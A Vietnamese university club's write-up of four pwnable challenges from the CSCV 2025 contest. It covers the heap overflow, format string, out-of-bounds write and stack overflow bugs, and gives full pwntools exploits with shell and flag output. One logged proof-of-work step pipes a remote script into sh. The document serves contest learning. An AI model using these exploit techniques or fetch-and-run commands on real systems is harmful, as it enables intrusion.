Write-up vòng sơ khảo cuộc thi Sinh viên An ninh mạng 2025
viết bởi Thành viên Team Q/R/S/T, CLB BKSEC
Trong đợt thi Sinh viên An ninh mạng (CSCV) 2025 vừa qua, CLB ATTT BKHN với 04 đại diện tham dự đã xuất sắc có được 02 đại diện (Team Q, Team R) nằm trong top 5 đội thi xuất sắc nhất. Dưới đây là write-up của chúng mình về các challenge chúng mình đã giải trong khuôn khổ cuộc thi:

Các thử thách Pwnable
Heapnote
Write-up viết bởi: Vũ Đức Hiếu (grass) - sinh viên ngành Kỹ thuật Máy tính K66.
Tìm hiểu về challenge
grass@grass-vm:~/ctf/svanm/heapnote/challenge$ pwn checksec challenge
[*] '/home/grass/ctf/svanm/heapnote/challenge/challenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
grass@grass-vm:~/ctf/svanm/heapnote/challenge$ file challenge
challenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bed4c09ebd8a7a1951c09067975d3c81c2ed4c93, for GNU/Linux 3.2.0, not stripped
Lỗ hổng
Để cho dễ đọc, mình đã tạo struct note và patch vào IDA:
struct note {
unsigned int index;
char padding[4];
struct note *next;
char content[32];
};
Chương trình có 3 tính năng: tạo, đọc và ghi vào note
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
...
while ( 1 )
{
__isoc99_scanf("%d%*c", &v3);
switch ( v3 )
{
case 3:
write_note();
break;
case 1:
create_note();
break;
case 2:
read_note();
break;
default:
goto LABEL_12;
}
}
}
create_note cho phép người dùng tạo note.
void __fastcall create_note()
{
struct note *i; // [rsp+0h] [rbp-10h]
struct note *v1; // [rsp+8h] [rbp-8h]
if ( g_note )
{
for ( i = g_note; i->next; i = i->next )
;
v1 = (struct note *)malloc(0x30u);
v1->index = i->index + 1;
v1->next = 0;
i->next = v1;
printf("Note with index %u created\n", v1->index);
}
else
{
g_note = (struct note *)malloc(0x30u);
g_note->index = 0;
g_note->next = 0;
puts("Note with index 0 created");
}
}
write_note cho phép ghi vào note. Ở đây nó dùng gets nên dẫn đến lỗ hổng heap overflow, có thể ghi vào các note đằng sau note hiện tại.
Ngoài ra nó cũng không check bound cho index. Ví dụ: chỉ có 2 note mà vẫn có thể nhập index là 3.
void __fastcall write_note()
{
int v0; // [rsp+Ch] [rbp-14h] BYREF
struct note *i; // [rsp+10h] [rbp-10h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( g_note )
{
v0 = 0;
printf("Index: ");
__isoc99_scanf("%u%*c", &v0); // no bound check for v0
for ( i = g_note; i->index != v0; i = i->next )
{
if ( !i->next )
return;
}
gets(i->content); // heap overflow here
}
}
Hàm read_note dùng để đọc data từ note. Hàm này cũng thiếu check bound
void __fastcall read_note()
{
int v0; // [rsp+Ch] [rbp-14h] BYREF
note *i; // [rsp+10h] [rbp-10h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( g_note )
{
v0 = 0;
printf("Index: ");
__isoc99_scanf("%u%*c", &v0); // no bound check for v0
for ( i = g_note; i->index != v0; i = i->next )
{
if ( !i->next )
return;
}
puts(i->content);
}
}
Ý tưởng khai thác
Để exploit bài này cần hiểu về cấu trúc của các heap chunk
struct note {
unsigned int index;
char padding[4];
struct note *next;
char content[32];
};
Với lỗ hổng heap overflow, ta có thể ghi đè next pointer của heap chunk tiếp theo. Dẫn đến việc next pointer của next chunk trỏ đến một vùng mà attacker có thể kiểm soát.
Từ đó dẫn đến arbitrary read/write thông qua hàm read_note và write_note
Proof-of-concept
#!/usr/bin/env python3
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
exe = ELF("./challenge")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.39.so")
context.binary = exe
gdbscript = '''
b *0x40148E
'''
def conn():
if args.LOCAL:
r = gdb.debug([exe.path], gdbscript)
# r = process([exe.path])
else:
r = remote("pwn2.cscv.vn", 3333)
return r
r = conn()
def create():
r.sendlineafter(b"> ", b"1")
def read(idx):
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"Index: ", f"{idx}".encode())
def write(idx, data):
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"Index: ", f"{idx}".encode())
if(data != b""):
r.sendline(data)
def main():
create()
create()
# good luck pwning :)
payload = b"/bin/sh\x00" + b"A" * 0x20 + p64(0x41) + p64(0x1) + p64(0x404008 + 1)
write(0, payload)
read(0x4010)
libc_leak = u64(b'\x00' + r.recvline().strip().ljust(7, b"\x00"))
log.info(f"libc leak: {libc_leak:#x}")
libc.address = libc_leak - 0x60100
log.success(f"libc address: {libc.address:#x}")
system = libc.address + 0x58750
printf = libc.address + 0x60100
scanf = libc.address + 0x5fe10
malloc = libc.address + 0xad650
payload = p64(printf) + p64(system) + p64(malloc) + p64(scanf)
write(0x4010, payload[1::])
write(0, b"")
r.interactive()
if __name__ == "__main__":
main()
grass@grass-vm:~/ctf/svanm/heapnote/challenge$ python3 solve.py
[*] '/home/grass/ctf/svanm/heapnote/challenge/challenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[*] '/home/grass/ctf/svanm/heapnote/challenge/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
[*] '/home/grass/ctf/svanm/heapnote/challenge/ld-2.39.so'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[+] Opening connection to pwn2.cscv.vn on port 3333: Done
[*] libc leak: 0x7aeadff95100
[+] libc address: 0x7aeadff35000
[*] Switching to interactive mode
$ cat flag.txt
CSCV2025{313487590c9dbf64bdd49d7e76980965}
Horse say
Write-up viết bởi: Vũ Đức Hiếu (grass) - sinh viên ngành Kỹ thuật Máy tính K66.
Phân tích challenge
grass@grass-vm:~/ctf/svanm/bin$ file horse_say
horse_say: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7b5c31c696700b3cb0d434cd475b001e860e26c4, for GNU/Linux 3.2.0, not stripped
grass@grass-vm:~/ctf/svanm/bin$ pwn checksec horse_say
[*] '/home/grass/ctf/svanm/bin/horse_say'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
=> challenge là 1 file elf 64-bit, Partial RELRO, NO PIE
Lỗ hổng
Chương trình tồn tại lỗ hổng format string.
int __fastcall main(int argc, const char **argv, const char **envp)
{
// ...
if ( fgets(s, 1024, stdin) )
{
// ...
printf(s); // format string here
// ...
exit(0);
}
return 0;
}
Khai thác
Ta thấy chương trình chỉ cho phép người dùng nhập vào một lần duy nhất, truyền input vào và sau đó printf và sau đó exit ngay lập tức. Để solve challenge này thì chúng ta cần cả 2 primitive là read và write, tức là chỉ 1 lần format string là không đủ để có thể get được shell. Do đó mục tiêu của chúng ta là phải làm sao loop lại hàm main để trigger được format string nhiều hơn nữa.
Do binary được cho không có PIE, nên ban đầu ý tưởng của mình là dùng printf loop, dùng format string để ghi đè return address của chính printf thành main, từ đó loop lại về main để trigger format string tiếp. Cách này thì khá cồng kềnh.
Sau đó mình mới nhận ra chương trình này còn có cả Partial RELRO.
Vậy tức là chỉ cần ghi đè được GOT của exit thành main là có thể loop về main được rồi.
Ở bước này mình không chọn quay về 0x401339. Lý do là vì ở đây là đầu hàm fgets, thỏa mãn điều kiện chúng ta có thể liên tục input và trigger format string. Lý do tiếp theo là vùng nhớ s của chúng ta không bị clear sau mỗi lần chạy, qua đó dễ lưu các địa chỉ để overwrite cho tiện.
payload = b"%p%p%p%p.%p.%p%p%p%p%4727p.%p.%p.%p.%p.%p%p%p%hn" + p64(exe.got["exit"])
r.sendlineafter(b'Say something: ', payload)
r.wait(0.5)
r.recvuntil(b' || ||\n\n')
Sau khi có vô hạn format string rồi thì ta có thể leak được libc base address.
Cuối cùng là ghi đè GOT của strlen thành system là được.
Proof-of-concept
#!/usr/bin/env python3
from pwn import *
exe = ELF("./horse_say_patched")
context.terminal = ["tmux", "splitw", "-h"]
context.binary = exe
gdbscript = '''
b *0x40145A
'''
def conn():
if args.LOCAL:
# r = gdb.debug([exe.path], gdbscript)
r = process([exe.path])
else:
r = remote("pwn1.cscv.vn", 6789)
r.recvuntil(b'proof of work: ')
proof = r.recvline().strip().decode()
log.info(f"Proof: {proof}")
try:
solution_bytes = subprocess.check_output(proof, shell=True)
solution = solution_bytes.strip().decode()
log.success(f"PoW Solution: {solution}")
r.sendlineafter(b'solution: ', solution.encode())
except subprocess.CalledProcessError as e:
log.error(f"Failed to solve PoW. Command failed with error: {e}")
r.close()
return None
return r
def main():
r = conn()
# good luck pwning :)
# loop back to main
payload = b"%p%p%p%p.%p.%p%p%p%p%4727p.%p.%p.%p.%p.%p%p%p%hn" + p64(exe.got["exit"])
r.sendlineafter(b'Say something: ', payload)
r.wait(0.5)
r.recvuntil(b' || ||\n\n')
# leak
payload = b"%144$p"
r.sendline(payload)
r.recvuntil(b'< ')
leak = r.recvuntil(b' >', drop=True)
log.info(leak)
leak = int(leak, 16)
system = leak + 0x2e586
log.info(f"system: {hex(system)}")
libc_base = leak - 0x2a1ca
log.info(f"libc base: {hex(libc_base)}")
r.recvuntil(b' || ||\n\n')
# store strlen address in stack for later use
payload = b'a'*8*10 + p64(exe.got["strlen"]) + p64(exe.got["strlen"] +2)
r.sendline(payload)
r.recvuntil(b' || ||\n\n')
# overwrite strlen GOT to system
payload = f"%{system & 0xffff}c%25$hn" + f"%{((system >> 16) & 0xff) + 0x100 - (system & 0xff)}c%26$hhn"
r.sendline(payload.encode())
r.recvuntil(b' || ||\n\n')
# system("/bin/sh")
payload = b"/bin/sh\x00"
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
grass@grass-vm:~/ctf/svanm/bin$ python3 solve.py
[*] '/home/grass/ctf/svanm/bin/horse_say_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Opening connection to pwn1.cscv.vn on port 6789: Done
[*] Proof: curl -sSfL https://pwn.red/pow | sh -s s.AAAAAw==.73JUcTvisAtEr3S33XM+Hw==
[+] PoW Solution: s.M/5zxG1lVzkxJQYW0yzkMX/x1BwmPZCX5TS95i3PbwS7wrEu6mA14SqS6FEmvFRnL06zkBjearvSpF857If05drMc2LJnQFYkyH/hM9JvFN2bvmQmQYucgS2DZ+F49tke5Ckj/th+7XKkoWI9vZjZT81OPYkdRs7q956CAMeCxuunCX5YYbWSs8KLIRaycfHz89YTRtDeLCZxgC5Pkck/w==
/home/grass/.local/lib/python3.12/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'info')
[*] 0x71cc010361ca
[*] system: 0x71cc01064750
[*] libc base: 0x71cc0100c000
[*] Switching to interactive mode
$ ls
flag
run
$ cat flag
CSCV2025{k1m1_n0_4184_64_2ukyun_d0kyun_h45h1r1d35h1}
Sudokus
Write-up viết bởi: Đỗ Đức Phú (kurlz) - sinh viên ngành Khoa học máy tính K69.
Phân tích challenge
Zip chỉ bao gồm 1 file ELF, không đi kèm libc hay Dockerfile. Dùng checksec thấy tắt khá nhiều mitigations, trong đó có vùng nhớ có full bit RWX → Khả năng cao là ret2shellcode.
Hàm main chỉ đơn giản là in ra menu, sau đó cho user chọn option.
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-8h] BYREF
int v5; // [rsp+Ch] [rbp-4h]
init(argc, argv, envp);
init_sec_comp();
puts("=== CSCV2025 - SudoShell ===");
usage();
printf("> ");
v5 = __isoc99_scanf("%d", &v4);
if ( v5 <= 0 )
{
perror("scanf failed");
exit(1);
}
switch ( v4 )
{
case 1:
start_game();
break;
case 2:
exit(0);
case 3:
help();
break;
}
return 0;
}
Ngoài ra, chương trình còn setup seccomp qua init_sec_comp(), mình sẽ dùng seccomp-tools để check.
Chặn nhiều syscall, quan trọng là bao gồm cả execve, như vậy là còn hướng ORW để đọc flag.
Tiếp vào hàm start_game:
__int64 start_game()
{
unsigned __int8 v1; // [rsp+Dh] [rbp-23h] BYREF
unsigned __int8 v2; // [rsp+Eh] [rbp-22h] BYREF
unsigned __int8 v3; // [rsp+Fh] [rbp-21h] BYREF
char buf[28]; // [rsp+10h] [rbp-20h] BYREF
int v5; // [rsp+2Ch] [rbp-4h]
v1 = 0;
printf("What's your name? ");
v5 = read(0, buf, 0x27uLL); // BOF
if ( v5 <= 0 )
{
perror("read failed");
exit(1);
}
buf[v5] = 0;
printf("Welcome %s\n", buf);
initBOARD();
while ( 1 )
{
displayBOARD();
if ( (unsigned __int8)isComplete() )
{
puts("Congratulations!");
return 0LL;
}
printf("> ");
v5 = __isoc99_scanf("%hhu %hhu %hhu", &v3, &v2, &v1);
if ( v5 <= 0 )
{
perror("scanf failed");
exit(1);
}
if ( !v3 && !v2 && !v1 )
break;
if ( (unsigned __int8)canEdit(--v3, --v2) != 1 || (unsigned __int8)isValid(v3, v2, v1) != 1 )
puts("Invalid input!");
else
BOARD[9 * v3 + v2] = v1;
}
puts("Bye!");
return 0LL;
}
Lỗi BOF ở đoạn read 0x27 bytes vào name, nhưng chỉ đủ để ghi đè RBP. Hàm start_game() và main() đều có leave; ret nên có thể stack pivot đến địa chỉ bất kỳ.
Hàm initBOARD chỉ đơn giản là khởi tạo 1 bảng sudoku trên vùng nhớ .bss với giá trị cố định mỗi lần chạy. Sau đó khi nhảy vào while loop, bảng này sẽ được in ra, cụ thể là:

Nhưng những giá trị này không quá quan trọng, vì ae nào chơi sudoku sẽ biết bảng này unsolveable (theo cách thông thường).
Để tương tác với trò chơi có thể check qua option 3 help()
int help()
{
puts("=== HOW TO PLAY ===");
puts("Insert the number to fill the BOARD");
puts("Syntax: row col num");
return puts("Example: 1 2 5");
}
Sau khi nhập 3 giá trị row, col, num, chương trình gọi đến 2 hàm canEdit() và isValid() để check.
canEdit() chỉ đơn giản là không cho ghi đè những giá trị đã khỏi tạo sẵn từ đầu bằng cách so sánh index với giá trị trên bảng ORIGINAL trên .bss.
__int64 __fastcall isValid(unsigned __int8 a1, unsigned __int8 a2, unsigned __int8 a3)
{
signed int m; // [rsp+1Ch] [rbp-10h]
signed int k; // [rsp+20h] [rbp-Ch]
int j; // [rsp+24h] [rbp-8h]
int i; // [rsp+28h] [rbp-4h]
for ( i = 0; i <= 8; ++i )
{
if ( BOARD[9 * a1 + i] == a3 && i != a2 )
return 0LL;
}
for ( j = 0; j <= 8; ++j )
{
if ( BOARD[9 * j + a2] == a3 && j != a1 )
return 0LL;
}
for ( k = 3 * (a1 / 3u); k <= (int)(3 * (a1 / 3u) + 2); ++k )
{
for ( m = 3 * (a2 / 3u); m <= (int)(3 * (a2 / 3u) + 2); ++m )
{
if ( BOARD[9 * k + m] == a3 && (k != a1 || m != a2) )
return 0LL;
}
}
return 1LL;
}
Đối với hàm isValid, chương trình đơn giản là check giá trị có phù hợp với luật Sudoku hay không (Mỗi hàng, mỗi cột và mỗi ô vuông 3×3 phải chứa đầy đủ các số không lặp lại.) Vì ở đây không hề có boundary check cho num, nên ta có thể ghi 1 giá trị bất kì từ 0x1 đến 0xff. Ngoài ra, để ý kĩ thì hàm này không hề có boundary check cho row và col, và sau đó khi quay trở lại hàm start_game() sẽ thực hiện ghi luôn vào memory BOARD[9 * row + col] = num. → OOB WRITE on .bss
Ý tưởng khai thác
Vì có write trên .bss, check thử trong GDB:

Như vậy, có thể viết shellcode ORW lên trên .bss (ngay sau bảng sudoku BOARD). Sau đó dùng bug BOF để stack pivot ret thẳng về shellcode.
Nhưng có 2 điều cần lưu ý:
-
Để có thể
leave;ret2 lầnstart_game() -> main(), ta cần thắng game sudoku này. Có thể dễ dàng win bằng cách fill lần lượt giá trị từ 10 trở đi vào bảng như hình:
-
Đoạn shellcode ghi qua bug OOB write cũng cần pass check
isValid(). Ghi cả đoạn ORW ngay vào sẽ khá dài và dễ die do invalid. Ta cần chia thành 2 stage: Stage 1 shellcode Read để read thẳng Stage 2 ORW vào. Ngoài ra để ý kĩ thì khileave;retở main,raxđã được set sẵn về 0 → syscall read, giảm đáng kể độ dài shellcode.
Thêm một lưu ý nữa là ghi thẳng 1 đoạn shellcode như sau vào mem cũng dễ die:
stage1 = asm("""
mov rdx, 0x100
xor rdi, rdi
mov rsi, 0x404222
syscall
""")
Ta cần chia thành nhiều lệnh nhỏ, kết hợp với các lệnh jmp $+offset để không dính invalid. Chính vì lý do này PoC của mình mới nhiều magic number và chọn row, col khá ngẫu nhiên =))).
Proof-of-concept
#!/usr/bin/env python3
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ("server", "port")
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
gdbscript = """
init-pwndbg
set solib-search-path /home/kurlz/ctf/2025/anm/sudokus/public
b*0x401E05
b*0x404210
continue
"""
exe = "./sudoshell"
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = "debug"
s = lambda data: io.send(data)
sa = lambda msg, data: io.sendafter(msg, data)
sl = lambda data: io.sendline(data)
sla = lambda msg, data: io.sendlineafter(msg, data)
info = lambda msg: log.info(msg)
recvunt = lambda msg: io.recvuntil(msg)
# ===================EXPLOIT GOES HERE=======================
def autosolve():
val = 0x10
for i in range(1, 9):
for j in range(1, 10):
sla(b"> ", f"{i} {j} {val}")
val += 1
# Last Row
for i in range(9):
sla(b"> ", f"9 {i} {val}")
val += 1
io = start()
sla(b"> ", b"1")
name = b"A" * 32 + b"\xbc\x41\x40\00\00" # Overflow RBP to pivot
sa(b"name? ", name)
# Split Read shlcode to 2
stage1_1 = asm("""
mov rdx, 0x100
jmp $+0x5
nop
nop
nop
xor rdi, rdi
jmp $+0xc
""")
stage1_2 = asm("""
mov rsi, 0x404222
syscall
""")
offset = 0
for i in stage1_1:
info(hex(i))
offset += 1
if i == b"\00":
continue
sla(b"> ", f"30 {25 + offset} {str(int(hex(i), 16))}")
offset = 0
for i in stage1_2:
info(hex(i))
offset += 1
if i == b"\00":
continue
sla(b"> ", f"33 {25 + offset} {str(int(hex(i), 16))}")
# Prepare address for stack pivot to pop -> jmp to start of shlcode
sla(b"> ", f"25 13 {str(0xfe)}")
sla(b"> ", f"25 14 {str(0x41)}")
sla(b"> ", f"25 15 {str(0x40)}")
path = "/flag"
off = 0
for i in path:
sla(b"> ", f"27 {15 + off} {ord(i)}")
off += 1
autosolve() # Solve original table to return
# ORW shlcode
stage2 = asm("""
mov rdi, 0x4041d8
mov rsi, 0
mov rdx, 0
mov rax, 0x2
syscall
mov rdi, rax
mov rsi, 0x404300
mov rdx, 0x50
mov rax, 0
syscall
mov rax, 0x1
mov rdi, 0x1
syscall
""")
# input("Stage 2?")
s(stage2)
io.interactive()
# CSCV2025{Y0u_kn0w_h0w_t0_bu1ld_sh4llc03}
Hanoi Convention
Write-up viết bởi: Nguyễn Đức Kiên (vani5hing) - sinh viên ngành An toàn không gian số K68.
Tìm hiểu về challenge
Full mitigation. Provided zip chỉ có một ELF file duy nhất, không thêm libc/docker.
Chạy thử thì thấy báo không có file questions.json. Dùng IDA để kiểm tra thì thấy có một hàm riêng xử lí câu hỏi.
Có vẻ question.json chỉ tồn tại trên server, khi mình xin hỗ trợ từ BTC thì:

Btc funni, remote thử lên server, tương tác thì thấy file questions.json đó lưu các câu hỏi, cần thiết cho việc khởi động challenge:

Sau khi test thử thì mỗi lần chơi phải trả lời đủ 10 câu hỏi, chơi 2 lần thì nhận ra bộ câu hỏi cũng có format tương đối giống nhau, từ đó cho phép mình tự create một cái file question.json ở local để thuận tiện cho việc debug:

Phân tích mã nguồn
Đến được đây thì mình cảm giác hàm load_question không có gì đặc biệt (cứ cho là nó chỉ handle việc load câu hỏi và không có bug) nên sẽ bỏ qua (rất nguy hiểm, đừng như mình).
Qua phân tích phát hiện có một vài hàm đáng chú ý:
-
Hàm
createcho khởi tạo player name, cùng một số các variable khác:
-
Hàm
viewxem thông tin của người chơi:
-
Hàm
start_challengexử lí việc tương tác giữa player và 10 câu hỏi -> tính điểm, update rank và các hành động khác:
-
Ngoài ra còn một hàm
editchỉ xuất hiện khirank > 4, cho phép chỉnh sửa thông tin của player:
Luồng chương trình có vẻ khá dể hiểu, chỉ là một game trả lời câu hỏi, update rank/score cơ bản nên mình sẽ không phân tích quá chi tiết, sau đây sẽ là các bug trong bài:
- Bug đầu trong hàm
edit:
printf("Enter new name: ");
if ( fgets(s, 0x80, stdin) )
{
v1 = strlen(s);
if ( v1 && s[v1 - 1] == 0xA )
s[v1 - 1] = 0;
strcpy(name, s);
strcpy vào name có thể hơn 0x50 bytes, và ghi đè vào các variable khác:
.bss:00000000000060E0 ; char name[64]
.bss:00000000000060E0 name db 40h dup(?) ; DATA XREF: create+B0↑o
.bss:00000000000060E0 ; create+15A↑o ...
.bss:0000000000006120 score dd ? ; DATA XREF: create:loc_1ED9↑w
.bss:0000000000006120 ; view+5D↑r ...
.bss:0000000000006124 quiz_passed dd ? ; DATA XREF: create+86↑w
.bss:0000000000006124 ; view+79↑r ...
.bss:0000000000006128 maybe_padding dd ? ; DATA XREF: create+9A↑w
.bss:0000000000006128 ; start_m+30F↑r ...
.bss:000000000000612C rank dd ? ; DATA XREF: create+90↑w
.bss:000000000000612C ; view+95↑r ...
.bss:0000000000006130 ; char *quote
.bss:0000000000006130 quote dq ? ; DATA XREF: create+149↑w
.bss:0000000000006130 ; view+E8↑r
.bss:0000000000006130 _bss ends
.bss:0000000000006130
- Bug thứ 2 nằm ở trong hàm
start_challenge:
puts("\nYou have shown deep understanding and are awarded an honorary certificate!");
printf("Write your thoughts: ");
v6 = read(0, buf, 0xE0uLL);
if ( v6 > 0 )
{
if ( buf[v6 - 1] == 10 )
buf[v6 - 1] = 0;
else
buf[v6] = 0;
printf("Added to log: %s\n", buf);
snprintf(qword_60A0, 0x40uLL, "You have reached rank %d\nYour thoughts: %s", rank, buf);
}
unsigned __int64 start_m()
{
int v0; // eax
__int64 i; // [rsp+0h] [rbp-1C0h]
int j; // [rsp+8h] [rbp-1B8h]
int k; // [rsp+Ch] [rbp-1B4h]
int v5; // [rsp+10h] [rbp-1B0h]
ssize_t v6; // [rsp+18h] [rbp-1A8h]
_DWORD v7[50]; // [rsp+20h] [rbp-1A0h] BYREF
char s[8]; // [rsp+E8h] [rbp-D8h] BYREF
char buf[200]; // [rsp+F0h] [rbp-D0h] BYREF
unsigned __int64 v10; // [rsp+1B8h] [rbp-8h]
v10 = __readfsqword(0x28u);
Có một stack buffer overflow ở đây, cho phép ghi đè saved rbp và saved rip. Hơn nữa, việc ta có thể kiểm soát buf, sau đó sẽ được snprintf vào qword_60A0 sẽ dẫn đến bug thứ 3:
- Bug thứ 3 trong hàm view:
printf("Activity Log: ");
__printf_chk(1LL, qword_60A0);
putchar(10);
return puts(quote);
Nếu kết hợp với bug 2 (control qword_60A0), ta sẽ được format string bug.
Nếu kết hợp với bug 1 (control biến quote), ta sẽ được arbitrary leak.
Tổng quan các lỗ hổng
- Bug 1 BOF: cho phép ghi đè các biến, cần
rank > 5 - Bug 2 BOF: có khả năng RCE và bổ sung cho bug 3, cần
rank > 19 - Bug 3 Format String: có khả năng leak
Ý tưởng khai thác
- Để trả lời câu hỏi thì chúng ta cần tìm hiểu các thông tin liên quan đến Công ước Hà Nội.
- Dễ nhận thấy để đạt rank 19 có vẻ bất khả thi (do điều kiện của game nên cần trả lời hơn 1000 câu hỏi). Do đó hướng khai thác sẽ là leo lên rank 5, sau đó dùng bug 1 để ghi đè biến
rankvàscoređể sang bug 2. - Đến được bug 2, dùng
bufđể tạo arbitrary format string"%p.%p.%p...."gán vàoqword_60A0. - Đến bug 3, dùng format string để leak. (TIPS: lúc leak thì mình nhận ra hàm
__printf_chkcó giới hạn, nó có thêm các cơ chế kiểm tra gì đó khiến mình chỉ leak được mỗistackvàPIEmột cách ổn định (good enough), còn các value còn lại có thể hên xui dựa theo glibc version - đây là thứ mà mình không có). - Đến bug 1, overwrite biến
quotetrỏ đến GOT để leak libc (do đã cóPIE). - Leak tầm vài lần thì tìm được libc version của server là đây và tính được libc base.
- Đến bug 1, overwrite biến
quotetrỏ lên stack (do đã có) để leak canary. - Đến bug 3, chuẩn bị payload
ret2libcởbuf, đồng thời dùng BOF ghi đèrbpvàripđể stack pivot vào payload.
Proof-of-concept
#!/usr/bin/env python3
from pwn import *
import socket
import hashlib
import re
from multiprocessing import Pool, cpu_count
def solve_pow(challenge, prefix_zeros=6):
target = '0' * prefix_zeros
counter = 0
print(f"[*] Solving PoW for challenge: {challenge}")
print(f"[*] Target: hash starting with {prefix_zeros} zeros")
while True:
attempt = str(counter)
hash_input = challenge + attempt
hash_result = hashlib.sha256(hash_input.encode()).hexdigest()
if hash_result.startswith(target):
print(f"[+] Found solution: {attempt}")
print(f"[+] Hash: {hash_result}")
return attempt
counter += 1
if counter % 100000 == 0:
print(f"[*] Tried {counter} attempts... Current hash: {hash_result[:12]}...")
def solve_pow_parallel(args):
challenge, start, step, prefix_zeros = args
target = '0' * prefix_zeros
counter = start
while True:
attempt = str(counter)
hash_input = challenge + attempt
hash_result = hashlib.sha256(hash_input.encode()).hexdigest()
if hash_result.startswith(target):
return attempt, hash_result
counter += step
def solve_pow_multicore(challenge, prefix_zeros=6):
num_processes = cpu_count()
print(f"[*] Using {num_processes} CPU cores for parallel solving")
with Pool(num_processes) as pool:
args = [(challenge, i, num_processes, prefix_zeros) for i in range(num_processes)]
result = pool.map_async(solve_pow_parallel, args)
solutions = result.get(timeout=120)
for sol in solutions:
if sol:
return sol[0]
def connect_and_solve(challenge):
prefix_zeros = 6
solution = solve_pow(challenge, prefix_zeros)
sla(b"answer: ", f"{solution}".encode())
exe = ELF('./quiz_patched')
libc = ELF('./libc6_2.39-0ubuntu8.6_amd64.so')
context.binary = exe
s = lambda a: p.send(a)
sa = lambda a, b: p.sendafter(a, b)
sl = lambda a: p.sendline(a)
sla = lambda a, b: p.sendlineafter(a, b)
lleak = lambda a, b: log.info(a + " = %#x" % b)
rcu = lambda a: p.recvuntil(a)
debug = lambda : gdb.attach(p, gdbscript = script)
def create(name):
sla(b"> ", b"1")
sa(b"name: ", name)
def view():
sla(b"> ", b"2")
def start_m():
sla(b"> ", b"3")
for x in range(10):
rcu(b"--- Question")
rcu(b"?\n")
ans = []
res = 0
for i in range(4):
ans.append(p.recvline())
for i in range(1, 4):
if(len(ans[i]) > len(ans[res])):
res = i
sla(b"> ", f"{res + 1}".encode())
def edit(data):
sla(b"> ", b"4")
sla(b"name: ", data)
script = '''
brva 0x20C7
brva 0x21D3
'''
p = remote("pwn4.cscv.vn", 9999)
rcu(b"Challenge: ")
poc = p.recvline()[:-1:]
poc = poc.decode("utf-8")
connect_and_solve(poc)
#p = process('./quiz_patched')
create(b"A" * 0x40)
for i in range(10):
start_m()
payload = b"A" * (0x50 - 1)
edit(payload)
# bof and fmrstr
start_m()
rcu(b"thoughts: ")
payload = b"%p." * (200//3)
s(payload)
view()
# leak libc and pie
rcu(b"thoughts: ")
rcu(b".")
rcu(b".")
rcu(b".")
rcu(b".")
stack_leak = int(rcu(b".")[:-1:], 16)
code_base = int(rcu(b".")[:-1:], 16) - 0x2987
lleak("stack_leak", stack_leak)
lleak("code_base", code_base)
# leak puts
payload = b"A" * (0x50)
puts_got = code_base + exe.got['puts']
payload += p64(puts_got)
edit(payload)
view()
rcu(b"thoughts: ")
for i in range(6):
rcu(b".")
rcu(b"\n")
puts = u64(p.recv(6).ljust(8, b"\x00"))
# leak read
payload = b"A" * (0x50)
read_got = code_base + exe.got['read']
payload += p64(read_got)
edit(payload)
view()
rcu(b"thoughts: ")
for i in range(6):
rcu(b".")
rcu(b"\n")
read = u64(p.recv(6).ljust(8, b"\x00"))
lleak("puts", puts)
lleak("read", read)
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + list(libc.search(b"/bin/sh\x00"))[0]
pop_rdi = libc_base + 0x000000000010f78b
ret = pop_rdi + 1
leave_ret = code_base + 0x0000000000001e3f
#debug()
# leak canary
payload = b"A" * (0x50)
payload += p64(stack_leak - 8 + 1)
edit(payload)
view()
rcu(b"thoughts: ")
for i in range(6):
rcu(b".")
rcu(b"\n")
canary = (u64(p.recv(7).ljust(8, b"\x00"))) << 8
lleak("canary", canary)
# rop
start_m()
rcu(b"thoughts: ")
payload = p64(pop_rdi) + p64(binsh) + p64(system)
payload = payload.ljust(0xc8, b"A")
payload += p64(canary)
payload += p64(stack_leak - 0x100 - 8) + p64(leave_ret)
s(payload)
sleep(0.5)
sl(b"cat /flag")
p.interactive()
Cảm nghĩ về challenge
- Server có cơ chế proof of work, cần giải hash mới được tương tác với server, cảm ơn Tạ Quốc Hùng (@ta_quoc_he) đã hỗ trợ viết script tự động.
